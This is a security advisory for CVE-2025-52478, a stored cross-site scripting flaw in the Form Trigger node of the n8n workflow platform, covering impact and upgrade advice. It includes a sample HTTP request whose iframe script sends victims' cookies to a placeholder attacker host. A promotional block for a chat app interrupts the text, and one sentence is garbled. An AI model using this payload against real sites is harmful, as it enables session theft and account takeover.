Overview
Cybersecurity is of paramount importance in the digital age, especially when it involves open-source platforms like n8n, a popular workflow automation platform. A recently discovered vulnerability, cataloged as CVE-2025-52478, has been identified as a significant security risk. It affects n8n versions from 1.77.0 to before 1.98.2 and could potentially lead to system compromise or data leakage.
This vulnerability specifically affects the Form Trigger node’s HTML form element, and could potentially allow an attacker to take over a user’s account by injecting malicious HTML or Javascript. This raises serious concerns over the security of user data and the integrity of the system.
Vulnerability Summary
CVE ID: CVE-2025-52478
Severity: High (8.7/10 CVSS Severity Score)
Attack Vector: Network
Privileges Required: Low (Authenticated User)
User Interaction: Required
Impact: Potential system compromise or data leakage
Affected Products
Escape the Surveillance Era
Most apps won’t tell you the truth.
They’re part of the problem.
Phone numbers. Emails. Profiles. Logs.
It’s all fuel for surveillance.
Ameeba Chat gives you a way out.
- • No phone number
- • No email
- • No personal info
- • Anonymous aliases
- • End-to-end encrypted
Chat without a trace.
Product | Affected Versions
n8n | 1.77.0 to 1.98.1
How the Exploit Works
The vulnerability arises from inadequate input validation in n8n’s Form Trigger node’s HTML form element. An authenticated attacker can exploit this vulnerability by injecting malicious HTML or Javascript through an with a srcdoc payload, or by using coupled using an onerror event.
This can result in Account Takeover (ATO) by exfiltrating n8n-browserId and session cookies from authenticated users who visit a form crafted with malicious intent. The attacker, having these tokens and cookies, can then impersonate the victim and change account details such as email addresses, potentially gaining full control over the account.
Conceptual Example Code
The following is a conceptual example of how the vulnerability might be exploited:
POST /form/trigger HTTP/1.1
Host: n8n.example.com
Content-Type: text/html
<iframe srcdoc="<script>document.location='http://evil.com/steal.php?cookie='+document.cookie;</script>"></iframe>This example showcases how an attacker can inject a malicious script using an iframe. When the form is viewed by a user, the script gets executed, sending the user’s cookies to the attacker’s server.
Recommendation
It is strongly recommended to upgrade to version 1.98.2 or greater, where this vulnerability has been patched. If immediate upgrade is not possible, use of a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can serve as temporary mitigation measures. Furthermore, enabling 2FA on user accounts could add another layer of protection to prevent account takeovers.
